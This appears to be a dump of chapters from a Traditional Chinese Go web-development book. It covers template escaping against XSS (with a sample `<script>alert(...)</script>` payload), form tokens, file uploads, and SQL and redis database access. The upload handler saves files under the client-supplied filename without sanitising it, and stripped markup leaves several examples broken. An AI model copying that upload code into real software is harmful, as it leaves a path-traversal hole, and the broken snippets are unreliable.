29 | Go 的 html/template 套件預設幫你過濾了 html 標籤,但是有時候你只想要輸出這個``看起來正常的資訊,該怎麼處理?請使用 text/template。請看下面的例子: 30 | 31 | ```Go 32 | import "text/template" 33 | ... 34 | t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) 35 | err = t.ExecuteTemplate(out, "T", "") 36 | ``` 37 | 輸出 38 | 39 | Hello, ! 40 | 41 | 或者使用 template.HTML 型別 42 | 43 | ```Go 44 | import "html/template" 45 | ... 46 | t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) 47 | err = t.ExecuteTemplate(out, "T", template.HTML("")) 48 | ``` 49 | 輸出 50 | 51 | Hello, ! 52 | 53 | 轉換成`template.HTML`後,變數的內容也不會被轉義 54 | 55 | 轉義的例子: 56 | 57 | ```Go 58 | import "html/template" 59 | ... 60 | t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) 61 | err = t.ExecuteTemplate(out, "T", "") 62 | ``` 63 | 轉義之後的輸出: 64 | 65 | Hello, <script>alert('you have been pwned')</script>! 66 | 67 | 68 | 69 | ## links 70 | * [目錄](preface.md) 71 | * 上一節: [驗證的輸入](04.2.md) 72 | * 下一節: [防止多次提交表單](04.4.md) 73 | -------------------------------------------------------------------------------- /04.4.md: -------------------------------------------------------------------------------- 1 | # 4.4 防止多次提交表單 2 | 3 | 不知道你是否曾經看到過一個論壇或者部落格,在一個帖子或者文章後面出現多條重複的記錄,這些大多數是因為使用者重複提交了留言的表單引起的。由於種種原因,使用者經常會重複提交表單。通常這只是滑鼠的誤操作,如雙擊了提交按鈕,也可能是為了編輯或者再次核對填寫過的資訊,點選了瀏覽器的後退按鈕,然後又再次點選了提交按鈕而不是瀏覽器的前進按鈕。當然,也可能是故意的——比如,在某項線上調查或者博彩活動中重複投票。那我們如何有效的防止使用者多次提交相同的表單呢? 4 | 5 | 解決方案是在表單中新增一個帶有唯一值的隱藏欄位。在驗證表單時,先檢查帶有該唯一值的表單是否已經提交過了。如果是,拒絕再次提交;如果不是,則處理表單進行邏輯處理。另外,如果是採用了 Ajax 模式提交表單的話,當表單提交後,透過 javascript 來禁用表單的提交按鈕。 6 | 7 | 我繼續拿 4.2 小節的例子優化: 8 | ```html 9 | 10 | 足球 11 | 籃球 12 | 網球 13 | 使用者名稱: 14 | 密碼: 15 | 16 | 17 | ``` 18 | 我們在模版裡面增加了一個隱藏欄位`token`,這個值我們透過 MD5(時戳) 來取得唯一值,然後我們把這個值儲存到伺服器端(session 來控制,我們將在第六章講解如何儲存),以方便表單提交時比對判定。 19 | 20 | ```Go 21 | func login(w http.ResponseWriter, r *http.Request) { 22 | fmt.Println("method:", r.Method) //取得請求的方法 23 | if r.Method == "GET" { 24 | crutime := time.Now().Unix() 25 | h := md5.New() 26 | io.WriteString(h, strconv.FormatInt(crutime, 10)) 27 | token := fmt.Sprintf("%x", h.Sum(nil)) 28 | 29 | t, _ := template.ParseFiles("login.gtpl") 30 | t.Execute(w, token) 31 | } else { 32 | //請求的是登陸資料,那麼執行登陸的邏輯判斷 33 | r.ParseForm() 34 | token := r.Form.Get("token") 35 | if token != "" { 36 | //驗證 token 的合法性 37 | } else { 38 | //不存在 token 報錯 39 | } 40 | fmt.Println("username length:", len(r.Form["username"][0])) 41 | fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到伺服器端 42 | fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) 43 | template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端 44 | } 45 | } 46 | ``` 47 | 上面的程式碼輸出到頁面的原始碼如下: 48 | 49 | ![](images/4.4.token.png) 50 | 51 | 圖 4.4 增加 token 之後在客戶端輸出的原始碼資訊 52 | 53 | 我們看到 token 已經有輸出值,你可以不斷的重新整理,可以看到這個值在不斷的變化。這樣就保證了每次顯示 form 表單的時候都是唯一的,使用者提交的表單保持了唯一性。 54 | 55 | 我們的解決方案可以防止非惡意的攻擊,並能使惡意使用者暫時不知所措,然後,它卻不能排除所有的欺騙性的動機,對此類別情況還需要更復雜的工作。 56 | 57 | ## links 58 | * [目錄](preface.md) 59 | * 上一節: [預防跨站指令碼](04.3.md) 60 | * 下一節: [處理檔案上傳](04.5.md) 61 | -------------------------------------------------------------------------------- /04.5.md: -------------------------------------------------------------------------------- 1 | # 4.5 處理檔案上傳 2 | 你想處理一個由使用者上傳的檔案,比如你正在建設一個類似 Instagram 的網站,你需要儲存使用者拍攝的照片。這種需求該如何實現呢? 3 | 4 | 要使表單能夠上傳檔案,首先第一步就是要新增 form 的`enctype`屬性,`enctype`屬性有如下三種情況: 5 | ``` 6 | 7 | application/x-www-form-urlencoded 表示在傳送前編碼所有字元(預設) 8 | multipart/form-data 不對字元編碼。在使用包含檔案上傳控制元件的表單時,必須使用該值。 9 | text/plain 空格轉換為 "+" 加號,但不對特殊字元編碼。 10 | ``` 11 | 所以,建立新的表單 html 檔案, 命名為 upload.gtpl, html 程式碼應該類似於: 12 | ```html 13 | 14 | 15 | 16 | 上傳檔案 17 | 18 | 19 |
20 | 21 | 22 | 23 |
24 | 25 | 26 | ``` 27 | 在伺服器端,我們增加一個 handlerFunc: 28 | 29 | ```Go 30 | http.HandleFunc("/upload", upload) 31 | 32 | // 處理/upload 邏輯 33 | func upload(w http.ResponseWriter, r *http.Request) { 34 | fmt.Println("method:", r.Method) //取得請求的方法 35 | if r.Method == "GET" { 36 | crutime := time.Now().Unix() 37 | h := md5.New() 38 | io.WriteString(h, strconv.FormatInt(crutime, 10)) 39 | token := fmt.Sprintf("%x", h.Sum(nil)) 40 | 41 | t, _ := template.ParseFiles("upload.gtpl") 42 | t.Execute(w, token) 43 | } else { 44 | r.ParseMultipartForm(32 << 20) 45 | file, handler, err := r.FormFile("uploadfile") 46 | if err != nil { 47 | fmt.Println(err) 48 | return 49 | } 50 | defer file.Close() 51 | fmt.Fprintf(w, "%v", handler.Header) 52 | f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此處假設當前目錄下已存在 test 目錄 53 | if err != nil { 54 | fmt.Println(err) 55 | return 56 | } 57 | defer f.Close() 58 | io.Copy(f, file) 59 | } 60 | } 61 | ``` 62 | 透過上面的程式碼可以看到,處理檔案上傳我們需要呼叫 `r.ParseMultipartForm`,裡面的參數表示 `maxMemory`,呼叫 `ParseMultipartForm` 之後,上傳的檔案儲存在 `maxMemory` 大小的記憶體裡面,如果檔案大小超過了 `maxMemory`,那麼剩下的部分將儲存在系統的臨時檔案中。我們可以透過 `r.FormFile` 取得上面的檔案控制代碼,然後範例中使用了 `io.Copy` 來儲存檔案。 63 | 64 | >取得其他非檔案欄位資訊的時候就不需要呼叫 `r.ParseForm`,因為在需要的時候 Go 自動會去呼叫。而且 `ParseMultipartForm` 呼叫一次之後,後面再次呼叫不會再有效果。 65 | 66 | 透過上面的範例我們可以看到我們上傳檔案主要三步處理: 67 | 68 | 1. 表單中增加 enctype="multipart/form-data" 69 | 2. 伺服器端呼叫 `r.ParseMultipartForm`,把上傳的檔案儲存在記憶體和臨時檔案中 70 | 3. 使用 `r.FormFile` 取得檔案控制代碼,然後對檔案進行儲存等處理。 71 | 72 | 檔案 handler 是 multipart.FileHeader,裡面儲存了如下結構資訊 73 | 74 | ```Go 75 | type FileHeader struct { 76 | Filename string 77 | Header textproto.MIMEHeader 78 | // contains filtered or unexported fields 79 | } 80 | ``` 81 | 我們透過上面的範例程式碼顯示出來上傳檔案的資訊如下 82 | 83 | ![](images/4.5.upload2.png) 84 | 85 | 圖 4.5 列印檔案上傳後伺服器端接受的資訊 86 | 87 | ## 客戶端上傳檔案 88 | 89 | 我們上面的例子示範了如何透過表單上傳檔案,然後在伺服器端處理檔案,其實 Go 支援模擬客戶端表單功能支援檔案上傳,詳細用法請看如下範例: 90 | 91 | ```Go 92 | package main 93 | 94 | import ( 95 | "bytes" 96 | "fmt" 97 | "io" 98 | "io/ioutil" 99 | "mime/multipart" 100 | "net/http" 101 | "os" 102 | ) 103 | 104 | func postFile(filename string, targetUrl string) error { 105 | bodyBuf := &bytes.Buffer{} 106 | bodyWriter := multipart.NewWriter(bodyBuf) 107 | 108 | //關鍵的一步操作 109 | fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) 110 | if err != nil { 111 | fmt.Println("error writing to buffer") 112 | return err 113 | } 114 | 115 | //開啟檔案控制代碼操作 116 | fh, err := os.Open(filename) 117 | if err != nil { 118 | fmt.Println("error opening file") 119 | return err 120 | } 121 | defer fh.Close() 122 | 123 | //iocopy 124 | _, err = io.Copy(fileWriter, fh) 125 | if err != nil { 126 | return err 127 | } 128 | 129 | contentType := bodyWriter.FormDataContentType() 130 | bodyWriter.Close() 131 | 132 | resp, err := http.Post(targetUrl, contentType, bodyBuf) 133 | if err != nil { 134 | return err 135 | } 136 | defer resp.Body.Close() 137 | resp_body, err := ioutil.ReadAll(resp.Body) 138 | if err != nil { 139 | return err 140 | } 141 | fmt.Println(resp.Status) 142 | fmt.Println(string(resp_body)) 143 | return nil 144 | } 145 | 146 | // sample usage 147 | func main() { 148 | target_url := "http://localhost:9090/upload" 149 | filename := "./astaxie.pdf" 150 | postFile(filename, target_url) 151 | } 152 | ``` 153 | 154 | 上面的例子詳細展示了客戶端如何向伺服器上傳一個檔案的例子,客戶端透過 multipart.Write 把檔案的文字流寫入一個快取中,然後呼叫 http 的 Post 方法把快取傳到伺服器。 155 | 156 | >如果你還有其他普通欄位例如 username 之類別的需要同時寫入,那麼可以呼叫 multipart 的 WriteField 方法寫很多其他類似的欄位。 157 | 158 | ## links 159 | * [目錄](preface.md) 160 | * 上一節: [防止多次提交表單](04.4.md) 161 | * 下一節: [小結](04.6.md) 162 | -------------------------------------------------------------------------------- /04.6.md: -------------------------------------------------------------------------------- 1 | # 4.6 小結 2 | 這一章裡面我們學習了 Go 如何處理表單資訊,我們透過使用者登入、上傳檔案的例子展示了 Go 處理 form 表單資訊及上傳檔案的手段。但是在處理表單過程中我們需要驗證使用者輸入的資訊,考慮到網站安全的重要性,資料過濾就顯得相當重要了,因此後面的章節中專門寫了一個小節來講解了不同方面的資料過濾,順帶講一下 Go 對字串的正則處理。 3 | 4 | 透過這一章能夠讓你了解客戶端和伺服器端是如何進行資料上的互動,客戶端將資料傳遞給伺服器系統,伺服器接受資料又把處理結果反饋給客戶端。 5 | 6 | ## links 7 | * [目錄](preface.md) 8 | * 上一節: [處理檔案上傳](04.5.md) 9 | * 下一章: [存取資料庫](05.0.md) 10 | -------------------------------------------------------------------------------- /05.0.md: -------------------------------------------------------------------------------- 1 | # 5 存取資料庫 2 | 對許多 Web 應用程式而言,資料庫都是其核心所在。資料庫幾乎可以用來儲存你想查詢和修改的任何資訊,比如使用者資訊、產品目錄或者新聞列表等。 3 | 4 | Go 沒有內建的驅動支援任何的資料庫,但是 Go 定義了 database/sql 介面,使用者可以基於驅動介面開發相應資料庫的驅動,5.1 小節裡面介紹 Go 設計的一些驅動,介紹 Go 是如何設計資料庫驅動介面的。5.2 至 5.4 小節介紹目前使用的比較多的一些關係型資料驅動以及如何使用,5.5 小節介紹我自己開發一個 ORM 函式庫,基於 database/sql 標準介面開發的,可以相容幾乎所有支援 database/sql 的資料庫驅動,可以方便的使用 Go style 來進行資料庫操作。 5 | 6 | 目前 NoSQL 已經成為 Web 開發的一個潮流,很多應用採用了 NoSQL 作為資料庫,而不是以前的快取,5.6 小節將介紹 MongoDB 和 Redis 兩種 NoSQL 資料庫。 7 | 8 | >[Go database/sql tutorial](http://go-database-sql.org/) 裡提供了慣用的範例及詳細的說明。 9 | 10 | ## 目錄 11 | ![](images/navi5.png) 12 | 13 | ## links 14 | * [目錄](preface.md) 15 | * 上一章: [第四章總結](04.6.md) 16 | * 下一節: [database/sql 介面](05.1.md) 17 | -------------------------------------------------------------------------------- /05.2.md: -------------------------------------------------------------------------------- 1 | # 5.2 使用 MySQL 資料庫 2 | 目前 Internet 上流行的網站構架方式是 LAMP,其中的 M 即 MySQL, 作為資料庫,MySQL 以免費、開源、使用方便為優勢成為了很多 Web 開發的後端資料庫儲存引擎。 3 | 4 | ## MySQL 驅動 5 | Go 中支援 MySQL 的驅動目前比較多,有如下幾種,有些是支援 database/sql 標準,而有些是採用了自己的實現介面,常用的有如下幾種: 6 | 7 | - https://github.com/go-sql-driver/mysql 支援 database/sql,全部採用 go 寫。 8 | - https://github.com/ziutek/mymysql 支援 database/sql,也支援自訂的介面,全部採用 go 寫。 9 | - https://github.com/Philio/GoMySQL 不支援 database/sql,自訂介面,全部採用 go 寫。 10 | 11 | 接下來的例子我主要以第一個驅動為例(我目前專案中也是採用它來驅動),也推薦大家採用它,主要理由: 12 | 13 | - 這個驅動比較新,維護的比較好 14 | - 完全支援 database/sql 介面 15 | - 支援 keepalive,保持長連線,雖然 [ 星星](http://www.mikespook.com)fork 的 mymysql 也支援 keepalive,但不是執行緒安全的,這個從底層就支援了 keepalive。 16 | 17 | ## 範例程式碼 18 | 接下來的幾個小節裡面我們都將採用同一個資料庫表結構:資料庫 test,使用者表 userinfo,關聯使用者資訊表 userdetail。 19 | ```sql 20 | 21 | CREATE TABLE `userinfo` ( 22 | `uid` INT(10) NOT NULL AUTO_INCREMENT, 23 | `username` VARCHAR(64) NULL DEFAULT NULL, 24 | `department` VARCHAR(64) NULL DEFAULT NULL, 25 | `created` DATE NULL DEFAULT NULL, 26 | PRIMARY KEY (`uid`) 27 | ); 28 | 29 | CREATE TABLE `userdetail` ( 30 | `uid` INT(10) NOT NULL DEFAULT '0', 31 | `intro` TEXT NULL, 32 | `profile` TEXT NULL, 33 | PRIMARY KEY (`uid`) 34 | ) 35 | ``` 36 | 如下範例將示範如何使用 database/sql 介面對資料庫表進行增刪改查操作 37 | 38 | ```Go 39 | package main 40 | 41 | import ( 42 | "database/sql" 43 | "fmt" 44 | //"time" 45 | 46 | _ "github.com/go-sql-driver/mysql" 47 | ) 48 | 49 | func main() { 50 | db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") 51 | checkErr(err) 52 | 53 | //插入資料 54 | stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") 55 | checkErr(err) 56 | 57 | res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09") 58 | checkErr(err) 59 | 60 | id, err := res.LastInsertId() 61 | checkErr(err) 62 | 63 | fmt.Println(id) 64 | //更新資料 65 | stmt, err = db.Prepare("update userinfo set username=? where uid=?") 66 | checkErr(err) 67 | 68 | res, err = stmt.Exec("astaxieupdate", id) 69 | checkErr(err) 70 | 71 | affect, err := res.RowsAffected() 72 | checkErr(err) 73 | 74 | fmt.Println(affect) 75 | 76 | //查詢資料 77 | rows, err := db.Query("SELECT * FROM userinfo") 78 | checkErr(err) 79 | 80 | for rows.Next() { 81 | var uid int 82 | var username string 83 | var department string 84 | var created string 85 | err = rows.Scan(&uid, &username, &department, &created) 86 | checkErr(err) 87 | fmt.Println(uid) 88 | fmt.Println(username) 89 | fmt.Println(department) 90 | fmt.Println(created) 91 | } 92 | 93 | //刪除資料 94 | stmt, err = db.Prepare("delete from userinfo where uid=?") 95 | checkErr(err) 96 | 97 | res, err = stmt.Exec(id) 98 | checkErr(err) 99 | 100 | affect, err = res.RowsAffected() 101 | checkErr(err) 102 | 103 | fmt.Println(affect) 104 | 105 | db.Close() 106 | 107 | } 108 | 109 | func checkErr(err error) { 110 | if err != nil { 111 | panic(err) 112 | } 113 | } 114 | 115 | ``` 116 | 117 | 透過上面的程式碼我們可以看出,Go 操作 Mysql 資料庫是很方便的。 118 | 119 | 關鍵的幾個函式我解釋一下: 120 | 121 | sql.Open()函式用來開啟一個註冊過的資料庫驅動,go-sql-driver 中註冊了 mysql 這個資料庫驅動,第二個參數是 DSN(Data Source Name),它是 go-sql-driver 定義的一些資料庫連結和配置資訊。它支援如下格式: 122 | 123 | user@unix(/path/to/socket)/dbname?charset=utf8 124 | user:password@tcp(localhost:5555)/dbname?charset=utf8 125 | user:password@/dbname 126 | user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname 127 | 128 | db.Prepare()函式用來回傳準備要執行的 sql 操作,然後回傳準備完畢的執行狀態。 129 | 130 | db.Query()函式用來直接執行 Sql 回傳 Rows 結果。 131 | 132 | stmt.Exec()函式用來執行 stmt 準備好的 SQL 語句 133 | 134 | 我們可以看到我們傳入的參數都是 =? 對應的資料,這樣做的方式可以一定程度上防止 SQL 注入。 135 | 136 | 137 | 138 | ## links 139 | * [目錄](preface.md) 140 | * 上一節: [database/sql 介面](05.1.md) 141 | * 下一節: [使用 SQLite 資料庫](05.3.md) 142 | -------------------------------------------------------------------------------- /05.3.md: -------------------------------------------------------------------------------- 1 | # 5.3 使用 SQLite 資料庫 2 | 3 | SQLite 是一個開源的嵌入式關聯式資料庫,實現自套件容、零配置、支援事務的 SQL 資料庫引擎。其特點是高度便攜、使用方便、結構緊湊、高效、可靠。 與其他資料庫管理系統不同,SQLite 的安裝和執行非常簡單,在大多數情況下,只要確保 SQLite 的二進位制檔案存在即可開始建立、連線和使用資料庫。如果您正在尋找一個嵌入式資料庫專案或解決方案,SQLite 是絕對值得考慮。SQLite 可以說是開源的 Access。 4 | 5 | ## 驅動 6 | Go 支援 sqlite 的驅動也比較多,但是好多都是不支援 database/sql 介面的 7 | 8 | - https://github.com/mattn/go-sqlite3 支援 database/sql 介面,基於 cgo(關於 cgo 的知識請參看官方文件或者本書後面的章節)寫的 9 | - https://github.com/feyeleanor/gosqlite3 不支援 database/sql 介面,基於 cgo 寫的 10 | - https://github.com/phf/go-sqlite3 不支援 database/sql 介面,基於 cgo 寫的 11 | 12 | 目前支援 database/sql 的 SQLite 資料庫驅動只有第一個,我目前也是採用它來開發專案的。採用標準介面有利於以後出現更好的驅動的時候做遷移。 13 | 14 | ## 範例程式碼 15 | 範例的資料庫表結構如下所示,相應的建表 SQL: 16 | ```sql 17 | 18 | CREATE TABLE `userinfo` ( 19 | `uid` INTEGER PRIMARY KEY AUTOINCREMENT, 20 | `username` VARCHAR(64) NULL, 21 | `department` VARCHAR(64) NULL, 22 | `created` DATE NULL 23 | ); 24 | 25 | CREATE TABLE `userdetail` ( 26 | `uid` INT(10) NULL, 27 | `intro` TEXT NULL, 28 | `profile` TEXT NULL, 29 | PRIMARY KEY (`uid`) 30 | ); 31 | ``` 32 | 看下面 Go 程式是如何操作資料庫表資料 : 增刪改查 33 | 34 | ```Go 35 | package main 36 | 37 | import ( 38 | "database/sql" 39 | "fmt" 40 | "time" 41 | 42 | _ "github.com/mattn/go-sqlite3" 43 | ) 44 | 45 | func main() { 46 | db, err := sql.Open("sqlite3", "./foo.db") 47 | checkErr(err) 48 | 49 | //插入資料 50 | stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") 51 | checkErr(err) 52 | 53 | res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09") 54 | checkErr(err) 55 | 56 | id, err := res.LastInsertId() 57 | checkErr(err) 58 | 59 | fmt.Println(id) 60 | //更新資料 61 | stmt, err = db.Prepare("update userinfo set username=? where uid=?") 62 | checkErr(err) 63 | 64 | res, err = stmt.Exec("astaxieupdate", id) 65 | checkErr(err) 66 | 67 | affect, err := res.RowsAffected() 68 | checkErr(err) 69 | 70 | fmt.Println(affect) 71 | 72 | //查詢資料 73 | rows, err := db.Query("SELECT * FROM userinfo") 74 | checkErr(err) 75 | 76 | for rows.Next() { 77 | var uid int 78 | var username string 79 | var department string 80 | var created time.Time 81 | err = rows.Scan(&uid, &username, &department, &created) 82 | checkErr(err) 83 | fmt.Println(uid) 84 | fmt.Println(username) 85 | fmt.Println(department) 86 | fmt.Println(created) 87 | } 88 | 89 | //刪除資料 90 | stmt, err = db.Prepare("delete from userinfo where uid=?") 91 | checkErr(err) 92 | 93 | res, err = stmt.Exec(id) 94 | checkErr(err) 95 | 96 | affect, err = res.RowsAffected() 97 | checkErr(err) 98 | 99 | fmt.Println(affect) 100 | 101 | db.Close() 102 | 103 | } 104 | 105 | func checkErr(err error) { 106 | if err != nil { 107 | panic(err) 108 | } 109 | } 110 | ``` 111 | 112 | 我們可以看到上面的程式碼和 MySQL 例子裡面的程式碼幾乎是一模一樣的,唯一改變的就是匯入的驅動改變了,然後呼叫`sql.Open`是採用了 SQLite 的方式開啟。 113 | 114 | 115 | >sqlite 管理工具:http://sqliteadmin.orbmu2k.de/ 116 | 117 | >可以方便的建立資料庫管理。 118 | 119 | ## links 120 | * [目錄](preface.md) 121 | * 上一節: [使用 MySQL 資料庫](05.2.md) 122 | * 下一節: [使用 PostgreSQL 資料庫](05.4.md) 123 | -------------------------------------------------------------------------------- /05.4.md: -------------------------------------------------------------------------------- 1 | # 5.4 使用 PostgreSQL 資料庫 2 | 3 | PostgreSQL 是一個自由的物件-關聯式資料庫伺服器(資料庫管理系統),它在靈活的 BSD-風格許可證下發行。它提供了相對其他開放原始碼資料庫系統(比如 MySQL 和 Firebird),和對專有系統比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server 的一種選擇。 4 | 5 | PostgreSQL 和 MySQL 比較,它更加龐大一點,因為它是用來替代 Oracle 而設計的。所以在企業應用中採用 PostgreSQL 是一個明智的選擇。 6 | 7 | MySQL 被 Oracle 收購之後正在逐步的封閉(自 MySQL 5.5.31 以後的所有版本將不再遵循 GPL 協議),鑑於此,將來我們也許會選擇 PostgreSQL 而不是 MySQL 作為專案的後端資料庫。 8 | 9 | ## 驅動 10 | Go 實現的支援 PostgreSQL 的驅動也很多,因為國外很多人在開發中使用了這個資料庫。 11 | 12 | - https://github.com/lib/pq 支援 database/sql 驅動,純 Go 寫的 13 | - https://github.com/jbarham/gopgsqldriver 支援 database/sql 驅動,純 Go 寫的 14 | - https://github.com/lxn/go-pgsql 支援 database/sql 驅動,純 Go 寫的 15 | 16 | 在下面的範例中我採用了第一個驅動,因為它目前使用的人最多,在 github 上也比較活躍。 17 | 18 | ## 範例程式碼 19 | 資料庫建表語句: 20 | ```sql 21 | 22 | CREATE TABLE userinfo 23 | ( 24 | uid serial NOT NULL, 25 | username character varying(100) NOT NULL, 26 | department character varying(500) NOT NULL, 27 | Created date, 28 | CONSTRAINT userinfo_pkey PRIMARY KEY (uid) 29 | ) 30 | WITH (OIDS=FALSE); 31 | 32 | CREATE TABLE userdetail 33 | ( 34 | uid integer, 35 | intro character varying(100), 36 | profile character varying(100) 37 | ) 38 | WITH(OIDS=FALSE); 39 | ``` 40 | 41 | 看下面這個 Go 如何操作資料庫表資料 : 增刪改查 42 | 43 | ```Go 44 | package main 45 | 46 | import ( 47 | "database/sql" 48 | "fmt" 49 | 50 | _ "github.com/lib/pq" 51 | ) 52 | 53 | func main() { 54 | db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") 55 | checkErr(err) 56 | 57 | //插入資料 58 | stmt, err := db.Prepare("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) RETURNING uid") 59 | checkErr(err) 60 | 61 | res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09") 62 | checkErr(err) 63 | 64 | //pg 不支援這個函式,因為他沒有類似 MySQL 的自增 ID 65 | // id, err := res.LastInsertId() 66 | // checkErr(err) 67 | // fmt.Println(id) 68 | 69 | var lastInsertId int 70 | err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研發部門", "2012-12-09").Scan(&lastInsertId) 71 | checkErr(err) 72 | fmt.Println("最後插入 id =", lastInsertId) 73 | 74 | 75 | //更新資料 76 | stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") 77 | checkErr(err) 78 | 79 | res, err = stmt.Exec("astaxieupdate", 1) 80 | checkErr(err) 81 | 82 | affect, err := res.RowsAffected() 83 | checkErr(err) 84 | 85 | fmt.Println(affect) 86 | 87 | //查詢資料 88 | rows, err := db.Query("SELECT * FROM userinfo") 89 | checkErr(err) 90 | 91 | for rows.Next() { 92 | var uid int 93 | var username string 94 | var department string 95 | var created string 96 | err = rows.Scan(&uid, &username, &department, &created) 97 | checkErr(err) 98 | fmt.Println(uid) 99 | fmt.Println(username) 100 | fmt.Println(department) 101 | fmt.Println(created) 102 | } 103 | 104 | //刪除資料 105 | stmt, err = db.Prepare("delete from userinfo where uid=$1") 106 | checkErr(err) 107 | 108 | res, err = stmt.Exec(1) 109 | checkErr(err) 110 | 111 | affect, err = res.RowsAffected() 112 | checkErr(err) 113 | 114 | fmt.Println(affect) 115 | 116 | db.Close() 117 | 118 | } 119 | 120 | func checkErr(err error) { 121 | if err != nil { 122 | panic(err) 123 | } 124 | } 125 | ``` 126 | 127 | 從上面的程式碼我們可以看到,PostgreSQL 是透過`$1`,`$2`這種方式來指定要傳遞的參數,而不是 MySQL 中的`?`,另外在 sql.Open 中的 dsn 資訊的格式也與 MySQL 的驅動中的 dsn 格式不一樣,所以在使用時請注意它們的差異。 128 | 129 | 還有 pg 不支援 LastInsertId 函式,因為 PostgreSQL 內部沒有實現類似 MySQL 的自增 ID 回傳,其他的程式碼幾乎是一模一樣。 130 | 131 | ## links 132 | * [目錄](preface.md) 133 | * 上一節: [使用 SQLite 資料庫](05.3.md) 134 | * 下一節: [使用 Beego orm 函式庫進行 ORM 開發](05.5.md) 135 | -------------------------------------------------------------------------------- /05.6.md: -------------------------------------------------------------------------------- 1 | # 5.6 NoSQL 資料庫操作 2 | 3 | NoSQL(Not Only SQL),指的是非關聯資料庫。隨著 Web2.0 的興起,傳統的關聯式資料庫在應付 Web2.0 網站,特別是超大規模和高併發的 SNS 型別的 Web2.0 純動態網站已經顯得力不從心,暴露了很多難以克服的問題,而非關聯資料庫則由於其本身的特點得到了非常迅速的發展。 4 | 5 | 而 Go 語言作為 21 世紀的 C 語言,對 NoSQL 的支援也是很好,目前流行的 NoSQL 主要有 redis、mongoDB、Cassandra 和 Membase 等。這些資料庫都有高效能、高併發讀寫等特點,目前已經廣泛應用於各種應用中。我接下來主要講解一下 redis 和 mongoDB 的操作。 6 | 7 | ## redis 8 | redis 是一個 key-value 儲存系統。和 Memcached 類似,它支援儲存的 value 型別相對更多,包括 string(字串)、list(連結串列)、set(集合)和 zset(有序集合)。 9 | 10 | 目前應用 redis 最廣泛的應該是新浪微博平臺,其次還有 Facebook 收購的圖片社交網站 instagram。以及其他一些有名的 [ 網際網路企業](http://redis.io/topics/whos-using-redis) 11 | 12 | Go 目前支援 redis 的驅動有如下 13 | - https://github.com/garyburd/redigo (推薦) 14 | - https://github.com/go-redis/redis 15 | - https://github.com/hoisie/redis 16 | - https://github.com/alphazero/Go-Redis 17 | - https://github.com/simonz05/godis 18 | 19 | 我以 redigo 驅動為例來示範如何進行資料的操作: 20 | 21 | ```Go 22 | package main 23 | 24 | import ( 25 | "fmt" 26 | "os" 27 | "os/signal" 28 | "syscall" 29 | "time" 30 | 31 | "github.com/garyburd/redigo/redis" 32 | ) 33 | 34 | var ( 35 | Pool *redis.Pool 36 | ) 37 | 38 | func init() { 39 | redisHost := ":6379" 40 | Pool = newPool(redisHost) 41 | close() 42 | } 43 | 44 | func newPool(server string) *redis.Pool { 45 | 46 | return &redis.Pool{ 47 | 48 | MaxIdle: 3, 49 | IdleTimeout: 240 * time.Second, 50 | 51 | Dial: func() (redis.Conn, error) { 52 | c, err := redis.Dial("tcp", server) 53 | if err != nil { 54 | return nil, err 55 | } 56 | return c, err 57 | }, 58 | 59 | TestOnBorrow: func(c redis.Conn, t time.Time) error { 60 | _, err := c.Do("PING") 61 | return err 62 | } 63 | } 64 | } 65 | 66 | func close() { 67 | c := make(chan os.Signal, 1) 68 | signal.Notify(c, os.Interrupt) 69 | signal.Notify(c, syscall.SIGTERM) 70 | signal.Notify(c, syscall.SIGKILL) 71 | go func() { 72 | <-c 73 | Pool.Close() 74 | os.Exit(0) 75 | }() 76 | } 77 | 78 | func Get(key string) ([]byte, error) { 79 | 80 | conn := Pool.Get() 81 | defer conn.Close() 82 | 83 | var data []byte 84 | data, err := redis.Bytes(conn.Do("GET", key)) 85 | if err != nil { 86 | return data, fmt.Errorf("error get key %s: %v", key, err) 87 | } 88 | return data, err 89 | } 90 | 91 | func main() { 92 | test, err := Get("test") 93 | fmt.Println(test, err) 94 | } 95 | 96 | ``` 97 | 98 | 另外以前我 fork 了最後一個驅動,修復了一些 bug,目前應用在我自己的短域名服務專案中(每天 200W 左右的 PV 值) 99 | 100 | https://github.com/astaxie/goredis 101 | 102 | 接下來的以我自己 fork 的這個 redis 驅動為例來示範如何進行資料的操作 103 | 104 | ```Go 105 | package main 106 | 107 | import ( 108 | "fmt" 109 | 110 | "github.com/astaxie/goredis" 111 | ) 112 | 113 | func main() { 114 | var client goredis.Client 115 | // 設定埠為 redis 預設埠 116 | client.Addr = "127.0.0.1:6379" 117 | 118 | //字串操作 119 | client.Set("a", []byte("hello")) 120 | val, _ := client.Get("a") 121 | fmt.Println(string(val)) 122 | client.Del("a") 123 | 124 | //list 操作 125 | vals := []string{"a", "b", "c", "d", "e"} 126 | for _, v := range vals { 127 | client.Rpush("l", []byte(v)) 128 | } 129 | dbvals,_ := client.Lrange("l", 0, 4) 130 | for i, v := range dbvals { 131 | println(i,":",string(v)) 132 | } 133 | client.Del("l") 134 | } 135 | ``` 136 | 137 | 我們可以看到操作 redis 非常的方便,而且我實際專案中應用下來效能也很高。client 的命令和 redis 的命令基本保持一致。所以和原生態操作 redis 非常類似。 138 | 139 | ## mongoDB 140 | 141 | MongoDB 是一個高效能、開源的文件型資料庫,是一個介於關聯式資料庫和非關聯式資料庫之間的產品,是非關聯式資料庫當中功能最豐富,最像關聯式資料庫的。他支援的資料結構非常鬆散,採用的是類似 json 的 